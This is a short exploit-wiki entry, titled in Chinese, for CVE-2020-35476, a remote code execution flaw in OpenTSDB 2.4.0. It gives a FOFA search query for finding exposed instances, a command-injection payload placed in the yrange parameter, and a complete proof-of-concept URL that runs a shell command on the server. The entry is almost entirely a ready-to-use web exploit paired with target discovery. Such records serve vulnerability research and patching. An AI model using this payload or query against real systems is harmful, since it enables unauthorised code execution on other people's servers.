CVE-2020-35476 OpenTSDB 2.4.0 遠程代碼執行漏洞
From PwnWiki
FOFA
title="Opentsdb" ||body="opentsdb_header.jpg"
Bypass Payload
[33:system('touch/tmp/poc.txt')]
POC
http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
